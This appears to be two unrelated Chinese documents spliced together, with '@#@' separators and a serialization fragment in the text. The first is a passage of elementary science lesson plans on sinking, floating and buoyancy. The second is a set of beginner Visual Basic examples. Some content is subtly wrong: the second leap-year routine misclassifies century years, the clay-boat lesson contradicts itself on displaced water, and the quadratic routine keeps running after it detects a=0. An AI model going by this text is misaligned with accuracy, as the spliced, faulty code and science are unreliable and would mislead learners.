@#@水槽,萝卜,橡皮(与实验一共用),小刀1把,回形针10枚,木块3块,实验记录表(教材第3面)。
@#@@#@【教材处理】@#@教材第2面两个地方出现“泡沫塑料块”,在仔细研读教材和教师用书的基础上,我认为应把演示实验中的“泡沫塑料块”改为“塑料块”,把学生实验中的“泡沫塑料块”改为“泡沫块”。
@#@@#@【教学过程】@#@一、观察物体的沉浮:
@#@@#@1、谈话:
@#@物体在水中是沉还是浮?
@#@哪些物体在水中是下沉的,哪些物体在水中是上浮的呢?
@#@@#@(预设:
@#@在自由发表的前提下,及时抓住学生的错误概念或不完整表述,引发认知冲突,激发探究沉浮的兴趣。
@#@)@#@2、把砖块和木块分别轻轻放入水里,观察它们在水中的沉浮情况。
@#@@#@操作过程:
@#@把水槽放在展示台上。
@#@出示砖块,轻轻从水面放入水中,观察它的下沉过程,板书:
@#@沉。
@#@再出示木块,同样轻轻从水面放入水中,观察它的沉浮情况,板书:
@#@浮。
@#@@#@(活动要点:
@#@规定放物体的操作要求,确定判断沉浮的标准。
@#@)@#@3、把塑料块轻轻放入水里,观察它在水中是沉还是浮。
@#@@#@操作过程:
@#@先猜测塑料块的沉浮。
@#@再根据操作要求轻轻放入水中,观察它的沉浮情况,板书:
@#@浮。
@#@@#@(说明:
@#@若选择的是高密度的塑料块,可能会出现塑料块的大部分浸入水中,可指出只要物体的一部分露出水面,就说明是浮的。
@#@限于学生的认知能力,暂时回避“悬浮”概念。
@#@)@#@二、观察更多物体在水中的沉浮:
@#@@#@1、教师从小袋子取出7种物体,分别是小石块、泡沫块、回形针、蜡烛、带盖的空瓶、萝卜、橡皮。
@#@@#@2、以小石块为例,讨论完成教材第2面表格的前面2行“预测”、“理由”的填写,并建议沉浮可用往上或往下的箭头符号来表示。
@#@@#@3、学生独立完成其他物体的“预测”、“理由”这2行表格的填写。
@#@@#@4、小组领实验器材,分工合作,进行实验观察,完成实验记录表。
@#@@#@5、组织交流:
@#@@#@把我们的预测与实验结果相比较,预测正确的有哪些,预测不正确的有哪些?
@#@@#@整理自己的预测理由,想一想物体的沉浮可能与什么因素有关呢?
@#@(随机罗列各因素,如体积大小、轻重、形状、材料、是否空心等,以备后面活动中进行探究。
@#@)@#@(说明:
@#@本活动按“教师出示材料样本—学生预测和思考沉浮理由—小组实验观察”的顺序进行,因为观察前的预测是科学研究的重要环节,更是调动学生思维的必然条件。
@#@而且选择的7种物体是一组有结构的材料,既有容易判断沉浮的,也有难以直接判断沉浮的,比如胡萝卜、蜡烛头等,这样的设计都体现了用材料有效调控教学的目的。
@#@)@#@6、还可以按教材第2面的卡通人物对白,试试其他身边的小物体的沉浮,对影响沉浮的因素作进一步的思考。
@#@@#@三、观察同一种材料构成的物体在水中的沉浮:
@#@@#@1、小组整理实验材料,留下水槽、萝卜、橡皮,装好另外几种物体放置一边,教师出示小刀,演示切分方法(说明:
@#@排除无关材料的干扰,用新材料新活动再次激发学生探究兴趣,并对小刀的安全使用作必要的说明,为避免划破桌面,建议垫一块小木板或硬纸板),引导思考:
@#@@#@橡皮在水中是沉的,把橡皮切成一半大小,还会沉吗?
@#@再切成四分之一、八分之一大小,还会沉吗?
@#@推测把它切得更小会怎样。
@#@@#@萝卜在水中是浮的,把萝卜切成一半大小,还会浮吗?
@#@再切成四分之一、八分之一大小,还会浮吗?
@#@推测把它们切得更小会怎样。
@#@@#@2、学生完成教材第3面的记录表“预测”、“理由”这两列。
@#@@#@3、小组领小刀,实验操作,记录实验结果并思考其中的原因。
@#@@#@(说明:
@#@橡皮和萝卜不能无限度的切小,因为一旦切分的过小,会出现浮在水面上的情况,这是水的表面张力的原因,这样的情况不利于教学,会改变活动探究的方向,建议回避。
@#@)@#@4、组织交流,在这个活动中我们改变了什么因素?
@#@(体积大小),物体的沉浮情况有没有发生改变?
@#@通过以上实验,我们可以得到什么结论?
@#@(同一种材料的物体,把它们的体积变小,在水中的沉浮状态是不会发生改变的。
@#@)(补充:
@#@这里也可以用质量来概括,即同一种材料的物体,把它们的质量减轻,在水中的沉浮状态是不会发生改变的。
@#@)@#@5、收回小刀、萝卜和橡皮,出示回形针和木块,引导思考:
@#@@#@一枚回形针在水中是沉的,把两枚回形针穿在一起,还是沉的吗?
@#@把更多的回形针穿在一起,放入水里,是沉还是浮?
@#@@#@一块木块在水中是浮的,用透明胶带把两块木块粘在一起,放入水里,还是浮的吗?
@#@如果把三块、四块甚至更多的木块粘在一起,它们在水中是沉还是浮?
@#@@#@6、提供材料回形针10枚,木块3块,学生实验。
@#@@#@7、组织交流,概括:
@#@同一种材料的物体,把它们的体积变大,在水中的沉浮状态也不会发生改变的。
@#@@#@8、小结:
@#@把刚才切分和叠加这两个实验联系在一起,我们得到了什么结论?
@#@学生记录中教材第4面的实验报告单上。
@#@(由同一种材料构成的物体,改变它们的体积大小,在水中的沉浮是不会发生改变的。
@#@)@#@板书设计:
@#@@#@1、物体在水中是沉还是浮@#@砖块沉@#@木块浮@#@塑料块浮@#@猜测与沉浮相关因素:
@#@体积大小、轻重、形状、材料、是否空心等@#@由同一种材料构成的物体,改变它们的体积大小,在水中的沉浮是不会发生改变的。
@#@@#@材料收集:
@#@@#@用小袋子把小石块、泡沫块、回形针、蜡烛、带盖的空瓶装好,并补充大小轻重相近的萝卜、橡皮各一,以便下节课各组实验使用。
@#@@#@教学后记:
@#@@#@2、沉浮与什么因素有关@#@【教学目标】@#@科学概念:
@#@@#@1、物体的沉浮与自身的质量和体积都有关。
@#@@#@2、不同材料构成的物体,如果体积相同,重的物体容易沉;@#@如果质量相同,体积小的物体容易沉。
@#@@#@3、潜水艇应用了物体在水中的沉浮原理。
@#@@#@过程与方法:
@#@@#@1、用控制变量的科学方法,探究物体沉浮的原因。
@#@@#@2、学习用分析的方法研究影响沉浮的因素。
@#@@#@情感、态度、价值观:
@#@@#@1、在实验中理解控制变量的科学方法和思想的意义。
@#@@#@2、感受科学原理应用于实际的巨大作用。
@#@@#@【教学重点】@#@用控制变量的科学方法,探究物体沉浮的原因。
@#@@#@【教学难点】@#@学习用分析的方法研究影响沉浮的因素。
@#@@#@【教学准备】@#@小组实验一:
@#@物体7种,分别是小石块、泡沫块、回形针、蜡烛、带盖的空瓶、萝卜、橡皮。
@#@@#@小组实验二:
@#@水槽,一套相同体积不同质量的小球,一套相同质量不同体积的立方体,实验报告单。
@#@@#@小组实验三:
@#@水槽(与实验二共用),小瓶子,沙子若干,实验报告单。
@#@@#@【教材处理】@#@本课活动内容较多,考虑到探究时间限制,故把制作潜水艇的活动略去,但本活动对于激发学生学习兴趣,培养动手能力是很有意义的,可作为课外科技活动落实。
@#@另把“小瓶子实验”中的装液体改为装沙子,更方便操作。
@#@@#@【教学过程】@#@一、分析物体在水中的沉浮规律:
@#@@#@1、导入:
@#@我们已经知道,同一种材料构成的物体,在水中的沉浮与它们的轻重、体积大小没有关系。
@#@那么,不同材料构成的物体,在水中的沉浮与它们的轻重、体积大小有关系吗?
@#@@#@2、按体积大小顺序排列七种物体,再标出它们在水中是沉还是浮。
@#@想一想,物体的沉浮和它的体积大小有关系吗?
@#@@#@3、按轻重顺序排列七种物体,再标出它们在水中是沉还是浮。
@#@想一想,物体的沉浮和它的轻重有关系吗?
@#@@#@(说明:
@#@两次排列,隐含着如何整理信息的教学意义,在本课教学中主要作为下面活动的契引,故不专门安排记录单,仅用实物演示的方法完成,其中表示沉浮可在排列后把浮的物体位置上移沉的物体位置下移即可。
@#@)@#@4、当我们对这些物体进行比较时,为什么看不出它们的轻重、体积大小与沉浮之间的关系?
@#@@#@二、控制其他因素进行研究:
@#@@#@1、引导:
@#@当遇到这种情况时,科学家往往采用控制其他因素不变的方法,来研究某一个因素是否对物体产生作用。
@#@今天老师就为大家准备了两套特殊的材料,希望各位同学都能成为一个优秀的小科学家。
@#@@#@2、出示材料:
@#@一套相同体积不同质量的小球,一套相同质量不同体积的立方体,让学生推测它们在水中的沉浮,并填写在实验报告单上。
@#@(建议:
@#@为了减少教师准备材料的辛苦,此活动也可以只给每个小组提供一套材料,分小球类和立方体类,在完成自己组的实验后可以跟其他小组进行交换,既可提高活动效率,又培养了学生合作意识。
@#@)@#@“沉浮与什么因素有关”实验报告单@#@第()小组@#@实验一:
@#@相同体积不同质量的小球的沉浮(从重到轻排列)@#@小球@#@1号@#@2号@#@3号@#@4号@#@5号@#@我们的发现:
@#@@#@预测@#@结果@#@实验二:
@#@相同质量不同体积的立方体的沉浮(从小到大排列)@#@立方体@#@1号@#@2号@#@3号@#@4号@#@5号@#@我们的发现:
@#@@#@预测@#@结果@#@3、小组领材料,实验观察,记录分析。
@#@@#@4、组织交流:
@#@从这两组材料的实验中,我们得出什么结论?
@#@(第一层次:
@#@物体的沉浮与自身的质量和体积都有关。
@#@第二层次;@#@不同材料构成的物体,如果体积相同,重的物体容易沉;@#@如果质量相同,体积小的物体容易沉。
@#@第三层次:
@#@体积大、质量小的物体容易浮,体积小质量大的物体容易沉。
@#@)@#@5、为什么用上节课的物体进行比较看不出物体大小、轻重对沉浮的影响,而用这两组材料进行研究时能够看出物体的轻重、体积大小与沉浮的关系?
@#@(提醒学生对研究过程进行反思,认识到变量控制实验的意义和作用,体会科学研究方法的重要性。
@#@)@#@三、用小瓶子继续研究:
@#@@#@1、潜水艇既能在水面航行,又能在水下航行。
@#@它是应用了什么原理呢?
@#@让我们来做个模拟实验。
@#@@#@2、提供实验材料:
@#@水槽,小瓶子,沙子若干,实验报告单,学生小组合作。
@#@@#@小瓶子沉浮实验报告单@#@第()小组@#@小瓶子状态@#@大部分浮@#@小部分浮@#@沉到底@#@沙子数量@#@说明:
@#@沙子数量可用无、一点点、较多、装满来表述,也可以用占瓶子体积的大致分数来说明。
@#@最后一列给学有余力的小组作其他状态研究,比如教材第6面的中间“浮在水中”(即悬浮)状态。
@#@@#@3、组织讨论:
@#@这个活动改变了什么因素,什么因素是没有改变的?
@#@(改变了物体的质量,物体的体积没有改变。
@#@)@#@4、学生尝试用这个实验结论去分析潜水艇的工作原理。
@#@在此基础上阅读教材第6面的灰色文字:
@#@潜艇既能在水面航行,又能在水下航行。
@#@潜艇有一个很大的压载舱。
@#@打开进水管道,往压载舱里装满海水,潜艇会下潜,打开进气管道,用压缩空气把压载舱里的海水挤出舱外,潜艇就开始上浮。
@#@@#@5、建议有兴致的同学课外去制作简易潜水艇。
@#@@#@板书设计:
@#@@#@2、沉浮与什么因素有关@#@小球的沉浮物体沉浮与自身的质量和体积都有关@#@立方体的沉浮控制变量@#@小瓶子的沉浮体积大质量小易浮,体积小质量大易沉@#@潜水艇应用沉浮原理@#@教学后记:
@#@@#@3、橡皮泥在水中的沉浮@#@【教学目标】@#@科学概念:
@#@@#@1、改变物体排开的水量,物体在水中的沉浮可能发生改变。
@#@@#@2、钢铁制造的船能够浮在水面上,原因在于它排开的水量很大。
@#@@#@过程与方法:
@#@@#@1、用刻度杯测量橡皮泥排开的水量。
@#@@#@2、用橡皮泥制作成不同的形状,使之能够浮在水面上。
@#@@#@3、根据橡皮泥排开的水量,做出沉浮判断。
@#@@#@情感、态度、价值观:
@#@@#@1、认识到认真细致地采集数据的重要。
@#@@#@2、在探求原因的过程中,懂得证据的重要性。
@#@@#@【教学重点】@#@改变物体排开的水量,物体在水中的沉浮可能发生改变。
@#@@#@【教学难点】@#@认识到认真细致地采集数据的重要。
@#@@#@【教学准备】@#@水槽1个,不溶水的橡皮泥若干块,刻度杯1个,记录表(教材第8面)。
@#@@#@【教学过程】@#@一、观察橡皮泥的沉浮(实心):
@#@@#@1、导入:
@#@有的物体在水中是沉的,有的物体在水中是浮的。
@#@我们能想办法改变它们的沉浮吗?
@#@@#@2、把一块橡皮泥放入水里,观察它的沉浮。
@#@@#@3、把一块橡皮泥做成各种不同的形状,放入水中,观察它的沉浮。
@#@@#@4、分析:
@#@改变橡皮泥形状,橡皮泥的质量有没有发生变化?
@#@橡皮泥的体积有没有发生变化?
@#@(预设:
@#@若学生对橡皮泥的体积是否改变无法确定,可出示刻度杯测量。
@#@从而得出,改变橡皮泥的形状,质量没有变,体积也没有变,橡皮泥的沉浮状态不会发生改变。
@#@)@#@二、让橡皮泥浮在水面上:
@#@@#@1、有没有办法能让橡皮泥浮在水面上呢?
@#@(前提仍然是改变橡皮泥的形状,不能有其他添加物,方法是做成船形或者空心的。
@#@)@#@2、讨论:
@#@同一块橡皮泥,做成不同的形状,有的沉入水中,有的浮在水面上,这是什么原因呢?
@#@(在学生充分讨论的基础上概括:
@#@橡皮泥浸入水的体积发生改变,导致在水中排开的水量发生了变化。
@#@)@#@三、比较橡皮泥排开的水量:
@#@@#@1、讲授:
@#@我们把物体在水中排开水的体积叫做排开的水量。
@#@排开的水量可以用量杯来进行测量。
@#@方法是:
@#@放入物体后的刻度减去量杯原有水的刻度就是物体排开的水量。
@#@(补充:
@#@排开的水量与我们平时说的是排水量是有区别的,前者指的是物体排开水的体积,而后者是物体排开水的重量。
@#@另外用量杯测量排开的水量还不是很精确,所以在读数的时候一定要细致,特别是观察刻度时视线要与水凹面持平。
@#@)@#@2、取一个量杯,在量杯里倒入200毫升水,把橡皮泥做成实心团,放入量杯中,观察它排开的水量,做好记录。
@#@再把橡皮泥做成能浮在水面的各种形状,观察它们排开的水量,也记录在表格中。
@#@(教材第8面)@#@3、从上面的数据中我们发现了什么?
@#@(沉的形状排开的水量小,即浸入水的体积小,浮的形状排开的水量小,即浸入水的体积大。
@#@从上面的数据中我们发现,橡皮泥浮起来的原因在于它的质量不变,而浸入水的体积增大。
@#@)@#@4、铁块在水中是沉的,钢铁造的大轮船却能浮在水面上,还能装载货物。
@#@对于这个问题,我们能解释了吗?
@#@如果要制造能装载更多货物的超大轮船,你认为个怎样做呢?
@#@@#@板书设计:
@#@@#@3、橡皮泥在水中的沉浮@#@橡皮泥的@#@形状@#@量杯里的水量@#@(毫升)@#@放入后@#@水面刻度@#@排开的水量@#@(毫升)@#@沉浮状况@#@实心团@#@200@#@沉的形状@#@200@#@浮形1@#@200@#@浮形2@#@200@#@浮形3@#@200@#@改变物体排开的水量沉浮可能发生改变@#@船浮在水面上排开的水量很大@#@教学后记:
@#@@#@4、造一艘小船@#@【教学目标】@#@科学概念:
@#@@#@1、相同重量的橡皮泥,浸入水中的越大越容易浮,它的装载量也随之增大。
@#@@#@2、科学与技术紧密相连,它们为人类的发展做出了巨大贡献。
@#@@#@过程与方法:
@#@@#@1、探索用橡皮泥造船,不断改进船的形状,增大船浸入水中的体积。
@#@@#@2、按照自己设计的方案制造小船,并不断改进。
@#@@#@情感、态度、价值观:
@#@@#@1、体会不断改进设计对结果的影响。
@#@@#@2、感受人类创造发明的历程,激发创造欲望。
@#@@#@【教学重点】@#@相同重量的橡皮泥,浸入水中的越大越容易浮,它的装载量也随之增大。
@#@@#@【教学难点】@#@探索用橡皮泥造船,不断改进船的形状,增大船浸入水中的体积。
@#@@#@【教学准备】@#@教师准备:
@#@水槽一个,橡皮泥若干,垫片或玻璃弹子若干。
@#@制作多媒体。
@#@@#@学生准备:
@#@收集船的发展史资料和各种船的模型,造个性船需要的各种材料。
@#@@#@【教材处理】@#@本课教材安排了5个活动内容,为了更有效利用时间,我对教材作了比较大的调整,把“用橡皮泥造船”和“哪艘船装载的货物多”合并为“橡皮泥小船制作比赛”,把原教材“船的发展史”和“船的展览会”合并作为第二个教学内容,而把“用其他材料造船”放在最后,可以比较机动的处理课堂教学时间。
@#@@#@【教学过程】@#@一、橡皮泥小船制作比赛:
@#@@#@1、谈话导入:
@#@@#@船是人类的伟大发明。
@#@自从有了船,人们可以自由方便地在水面上行驶,也可以把很多的货物运送到远方。
@#@今天让我们来造一艘小船。
@#@不过,我们使用的造船材料是橡皮泥,而且我们进行一场别开生面的橡皮泥小船比赛。
@#@@#@2、集体制订比赛规则:
@#@用同体积的同种品牌橡皮泥,不准有其他的添加物,比谁制造的小船装载量大。
@#@时间限制在10分钟内。
@#@@#@3、学生分小组制作,教师提醒要考虑装载物以及船的稳定性。
@#@并控制时间。
@#@@#@4、测试:
@#@哪艘船装载的货物多。
@#@@#@先在黑板上记录各小组的序号和船名,再挑选几个同学作为记录员和监督员,由教师统一放垫圈的个数,每个组只有一次机会,提醒放的时候动作要轻,垫圈在船体里的分布尽量均匀,一开始可以先统一多放几个,然后再逐个增加,及时记录各组的小船的载重量(以沉下时小船里的垫圈个数减1作为小船的载重量)。
@#@@#@5、让几个装载量比较大的小组上台介绍经验。
@#@@#@二、船的发展史和展览会:
@#@@#@1、阅读教材11面内容,教师随机介绍(按从左到右从上到下的顺序):
@#@木筏、独木舟、明轮、帆船、气垫船、远洋货船、现代客轮、航空母舰。
@#@@#@2、学生补充介绍自己收集的关于船的知识,要求精要。
@#@@#@3、学生出示各类船的模型,集体观看。
@#@@#@三、造个性船:
@#@@#@1、学生说说了解了船的发展、观看了各种船模型后的体会。
@#@@#@2、讨论如何制造自己喜欢的个性船,重点讨论:
@#@我想造什么样的小船?
@#@我希望它有什么特点?
@#@造这艘小船需要什么材料?
@#@@#@3、出示《我的造船计划》,学生分组按计划进行个性船的制作。
@#@@#@一、准备@#@1.决定造一艘什么船;@#@@#@2.准备需要的材料。
@#@@#@二、制作@#@1.画出船的设想草图;@#@@#@2.动手制作。
@#@@#@三、改进和完成@#@1.放到水里试试,找出需要改进的地方;@#@@#@2.演示、介绍我的小船。
@#@@#@我的小船有哪些特点?
@#@@#@我的小船还有哪些需要改进的地方?
@#@@#@4、交流:
@#@我的或同学的小船还有哪些需要改进的地方?
@#@@#@四、拓展活动:
@#@@#@进行一次个性船展示会,举行各类奖项的评比。
@#@@#@板书设计:
@#@@#@4、造一艘小船@#@橡皮泥小船制作比赛@#@造个性船@#@《我的造船计划》@#@一、准备@#@二、制作@#@三、改进和完成@#@浸入水中的体积越大越容易浮装载量增大@#@教学后记:
@#@@#@5、浮力@#@【教学目标】@#@科学概念:
@#@@#@1、上浮物体在水中都受到浮力的作用,我们可以感受到浮力的存在,可以用测力计测出浮力的大小。
@#@@#@2、物体浸入水中的体积越大,受到的浮力也越大。
@#@@#@3、当物体在水中受到的浮力大于重力时就上浮,浮在水面的物体,浮力等于重力。
@#@@#@过程与方法:
@#@@#@1、学习用弹簧秤测量泡沫塑料块在水中受到的浮力。
@#@@#@2、运用浮力和重力的概念,解释物体在水中的沉浮。
@#@@#@情感、态度、价值观:
@#@@#@1、懂得方法的改进有利于研究的顺利进行。
@#@@#@2、懂得数据在分析解释现象过程中的重要性。
@#@@#@【教学重点】@#@上浮物体在水中都受到浮力的作用,我们可以感受到浮力的存在,可以用测力计测出浮力的大小。
@#@@#@【教学难点】@#@运用浮力和重力的概念,解释物体在水中的沉浮。
@#@@#@【教学准备】@#@小组实验一:
@#@精确刻度杯一个,泡沫塑料块、木块、空瓶子、小船等物体。
@#@@#@小组实验二:
@#@弹簧秤一个,一块大泡沫塑料块,一个底部带小滑轮的精确刻度杯(共用),细线,记录表(教材13面)。
@#@@#@小组实验三:
@#@在实验二的材料基础上,补充二块大小不同的泡沫塑料块,记录表(教材14面)。
@#@@#@【教学过程】@#@一、感受浮力:
@#@@#@1、观察泡沫塑料块、木块、空瓶子、小船浮在水面的情况,用手指轻轻按压小船,有什么感觉?
@#@分别把泡沫塑料块、木块、空瓶子压人水中,有什么感觉?
@#@@#@2、出示关于浮力的描述性定义:
@#@把小船和泡沫塑料块往水中压,手能感受到水对小船和泡沫塑料块有一个向上的力,这个力我们称它为水的浮力。
@#@板书:
@#@浮力。
@#@@#@3、生活中我们什么时候感受到水的浮力?
@#@@#@4、出示教科书12面的浮力和重力示意图,讲解示意图的含义。
@#@(当泡沫塑料块静止浮在水面时,它受到的浮力等于它受到的重力,且方向相反。
@#@)@#@(设计说明:
@#@让学生切身感受到浮力,是本课开始的基础。
@#@教师要提供一些能浮的物品,让学生感受,为继续探索沉浮的秘密打下基础。
@#@)@#@二、测量一块泡沫塑料块的浮力:
@#@@#@1、讨论怎样测量浮力:
@#@当把泡沫塑料块压入水中时,它受到的浮力有变化吗?
@#@是多大呢?
@#@我们能用弹簧测力计测出浸入水中的泡沫塑料块受到的浮力大小吗?
@#@@#@2、教师根据学生讨论的情况,演示规范的测量方法,讲解注意的地方。
@#@特别要讲清楚浮力的计算方法,可以让学生看教科书第13页的示意图,理解浮力等于重力加拉力的道理。
@#@(未放入水前先测量泡沫塑料块受到的重力,再用线拉住泡沫塑料块,使它进入水中一定的位置,然后读出弹簧测力计上拉力的数值。
@#@把拉力加上泡沫塑料块受到的重力,就是泡沫塑料块在水中所受到的浮力大小。
@#@)@#@3、学生测量泡沫塑料块浸人水中的浮力,按照教科书的要求测量三种状况,分别把测量结果(拉力大小和排开的水量)记录在表格中。
@#@@#@泡沫塑料块在水中受到的浮力记录表(自重:
@#@牛顿)@#@小部分浸入水中@#@大部分浸入水中@#@全部浸入水中@#@拉力大小@#@浮力大小@#@排开的水量@#@4、分析拉力、浮力和排开的水量之间的关系,得出:
@#@(板书)浸人水中的体积(排开的水量)越大,物体受到的浮力就越大。
@#@@#@三、测量不同大小泡沫塑料块的浮力:
@#@@#@1、教师出示三块不同大小的泡沫塑料块或者三块不同大小的木块,让学生预测:
@#@如果把大小不同的泡沫塑料块或者木块,完全浸人水中,它们受到的浮力大小相同吗?
@#@@#@2、学生参照前一个活动的测量方法,独立自主完成测量,把测量结果填入记录表中,并分析浮力大小与体积大小之间的关系。
@#@@#@大小不同的泡沫塑料块受到水的浮力记录表@#@小泡沫塑料块@#@中泡沫塑料块@#@大泡沫塑料块@#@自重@#@拉力大小@#@浮力大小@#@排开的水量@#@3、让学生把前后两个测量活动中所得到的数据进行分析,泡沫塑料块在水中受到的浮力大小与什么因素有关?
@#@有怎样的关系?
@#@()@#@4、把泡沫塑料块压入水里,一松手,为什么它会上浮?
@#@(浮力大于重力)@#@板书设计:
@#@@#@5、浮力@#@浮力@#@浸人水中的体积越大物体受到的浮力就越大@#@浮力大于重力上浮@#@浮在水面的物体浮力等于重力@#@教学后记:
@#@@#@6、下沉的物体会受到水的浮力吗@#@【教学目标】@#@科学概念:
@#@@#@1、下沉的物体在水中都受到浮力的作用,我们可以感受到浮力的存在,可以用测力计测出浮力的大小。
@#@@#@2、下沉的物体浸入水中的体积越大,受到的浮力也越大。
@#@@#@3、当物体在水中受到的浮力小于重力时就下沉。
@#@@#@过程与方法:
@#@@#@1、设计实验验证下沉物体在水中受到浮力的作用,用弹簧秤测量下沉物体受到的浮力大小。
@#@@#@2、";i:
16;s:
16296:
"vb经典代码@#@Visualbasic经典代码@#@1.求三角形的面积代码:
@#@@#@OptionExplicit@#@Dima!
@#@,b!
@#@,c!
@#@r,!
@#@,s!
@#@@#@PrivateSubCommand1_Click()@#@a=InputBox("@#@a="@#@,"@#@请输入a的数值"@#@)@#@b=InputBox("@#@b="@#@,"@#@请输入b的数值"@#@)@#@c=InputBox("@#@c="@#@,"@#@请输入c的数值"@#@)@#@Ifa+b>@#@cAnda+c>@#@bAndb+c>@#@aAnda>@#@0Andb>@#@0Andc>@#@0Then@#@r=1/2*(a+b+c)@#@s=Sqr(r*(r-a)*(r-b)*(r-c))@#@Label1.Caption="@#@三角形的面积为"@#@&@#@s@#@Else@#@Label2.Caption="@#@输入的数据不能构成三角形"@#@@#@EndIf@#@EndSub@#@2.三个数排列代码:
@#@@#@OptionExplicit@#@Dimx!
@#@,y!
@#@,z!
@#@,t!
@#@@#@PrivateSubCommand1_Click()@#@x=InputBox("@#@输入第一个数x"@#@)@#@y=InputBox("@#@输入第二个数y"@#@)@#@z=InputBox("@#@输入第三个数z"@#@)@#@Print"@#@排序前"@#@;@#@x&@#@"@#@"@#@&@#@y&@#@"@#@"@#@&@#@z@#@Ifx<@#@yThent=x:
@#@x=y:
@#@y=t@#@Ify<@#@zThen@#@t=y:
@#@y=z:
@#@z=t@#@Ifx<@#@yThen@#@t=x:
@#@x=y:
@#@y=t@#@EndIf@#@EndIf@#@Print"@#@排序后"@#@;@#@z&@#@"@#@"@#@&@#@y&@#@"@#@"@#@&@#@x@#@EndSub@#@3.计算一元二次方程的代码:
@#@@#@OptionExplicit@#@Dima!
@#@,b!
@#@,c!
@#@,d!
@#@,x1!
@#@,x2!
@#@@#@PrivateSubCommand1_Click()@#@a=InputBox("@#@a="@#@,"@#@请输入一元二次方程的系数a"@#@)@#@b=InputBox("@#@b="@#@,"@#@请输入一元二次方程的系数b"@#@)@#@c=InputBox("@#@c="@#@,"@#@请输入一元二次方程的系数c"@#@)@#@Ifa=0Then@#@Print"@#@因为a≠0,你输入的a=0,请重新输入系数a"@#@@#@EndIf@#@d=b^2-4*a*c@#@Ifd>@#@=0Then@#@x1=(-b+Sqr(d))/(2*a)@#@x2=(-b-Sqr(d))/(2*a)@#@Print"@#@系数为"@#@&@#@a;@#@b;@#@c&@#@"@#@的一元二次方程的根分别为"@#@&@#@"@#@x1="@#@&@#@x1&@#@"@#@"@#@&@#@"@#@x2="@#@&@#@x2@#@Else@#@Print"@#@此方程在实数范围内无解"@#@@#@EndIf@#@EndSub@#@4.利用SelectCase语句输入年份计算属相代码:
@#@@#@OptionExplicit@#@PrivateSubCommand1_Click()@#@DimiAsInteger,xAsString,YAsInteger@#@Y=InputBox("@#@输入你的出生年份Y"@#@)@#@i=YMod12@#@SelectCasei@#@CaseIs=0@#@x="@#@猴"@#@@#@CaseIs=1@#@x="@#@鸡"@#@@#@CaseIs=2@#@x="@#@狗"@#@@#@CaseIs=3@#@x="@#@猪"@#@@#@CaseIs=4@#@x="@#@鼠"@#@@#@CaseIs=5@#@x="@#@牛"@#@@#@CaseIs=6@#@x="@#@虎"@#@@#@CaseIs=7@#@x="@#@兔"@#@@#@CaseIs=8@#@x="@#@龙"@#@@#@CaseIs=9@#@x="@#@蛇"@#@@#@CaseIs=10@#@x="@#@马"@#@@#@CaseIs=11@#@x="@#@羊"@#@@#@EndSelect@#@Printx@#@EndSub@#@5.闰年两种判断方法的代码;@#@@#@方法一:
@#@OptionExplicit@#@DimyAsInteger@#@PrivateSubCommand1_Click()@#@y=InputBox("@#@y="@#@,"@#@输入年份"@#@)@#@IfyMod4=0Then@#@IfyMod100=0Then@#@IfyMod400=0Then@#@Print"@#@这年为闰年"@#@@#@Else@#@Print"@#@这年为平年"@#@@#@EndIf@#@Else@#@Print"@#@这年为闰年"@#@@#@EndIf@#@Else@#@Print"@#@这年为平年"@#@@#@EndIf@#@EndSub@#@方法二:
@#@PrivateSubCommand2_Click()@#@y=InputBox("@#@y="@#@,"@#@输入年份"@#@)@#@IfyMod4=0AndyMod100=0Then@#@Print"@#@这年为闰年"@#@@#@ElseIfyMod400=0Then@#@Print"@#@这年为闰年"@#@@#@Else@#@Print"@#@这年为平年"@#@@#@EndIf@#@EndSub@#@6.三种方法计算下式@#@的代码:
@#@@#@法一:
@#@OptionExplicit@#@Dimx!
@#@,y!
@#@@#@PrivateSubCommand1_Click()@#@x=InputBox("@#@x="@#@,"@#@输入x的值"@#@)@#@Ifx<@#@>@#@0Then@#@Ifx>@#@=1Orx<@#@=-1Then@#@y=(1+Sin(x)*Sin(x)-Sqr(x^2-1))/x@#@Print"@#@y="@#@;@#@Format(y,"@#@0.0000"@#@)@#@Else@#@Print"@#@所输入的x不在定义域"@#@@#@EndIf@#@Else@#@Print"@#@除数不能为零"@#@@#@EndIf@#@EndSub@#@法二:
@#@PrivateSubCommand2_Click()@#@x=InputBox("@#@x="@#@,"@#@输入x的值"@#@)@#@SelectCasex@#@CaseIs=0@#@Print"@#@除数不能为零"@#@@#@CaseIs>@#@=1,Is<@#@=-1@#@y=(1+Sin(x)*Sin(x)-Sqr(x^2-1))/x@#@Print"@#@y="@#@;@#@Format(y,"@#@0.0000"@#@)@#@CaseIs<@#@>@#@0,Is<@#@1,Is>@#@-1@#@Print"@#@所输入的x不在定义域"@#@@#@EndSelect@#@EndSub@#@法三:
@#@PrivateSubCommand3_Click()@#@x=InputBox("@#@x="@#@,"@#@输入x的值"@#@)@#@Ifx>@#@=1Then@#@y=(1+Sin(x)*Sin(x)-Sqr(x^2-1))/x@#@Print"@#@y="@#@;@#@Format(y,"@#@0.0000"@#@)@#@ElseIfx<@#@1Andx>@#@0Then@#@Print"@#@所输入的x不在定义域"@#@@#@ElseIfx=0Then@#@Print"@#@除数不能为零"@#@@#@ElseIfx>@#@=-1Andx<@#@0Then@#@Print"@#@所输入的x不在定义域"@#@@#@ElseIfx<@#@=-1Then@#@y=(1+Sin(x)*Sin(x)-Sqr(x^2-1))/x@#@Print"@#@y="@#@;@#@Format(y,"@#@0.0000"@#@)@#@EndIf@#@EndSub@#@流程图:
@#@@#@伪代码:
@#@@#@step1:
@#@输入x的值;@#@@#@step2:
@#@判断x是否为零;@#@@#@step3:
@#@若x=0,输出“除数不能为零”;@#@若x不为零,则继续判断x的绝对值是否大于1;@#@@#@step4:
@#@若x的绝对值是否大于1,输出y的值;@#@否则x的值不在函数的定义域里,结束。
@#@@#@7.利用For……Next循环计算1+2+3+4+……+n。
@#@@#@OptionExplicit@#@Dimi%,j%,n%@#@PrivateSubCommand1_Click()@#@j=0@#@n=InputBox("@#@输入的n值"@#@)@#@Fori=1Ton@#@j=j+i@#@Nexti@#@Printj@#@EndSub@#@8.编写利用辗转相除法及辗转相减法计算公约数的代码@#@
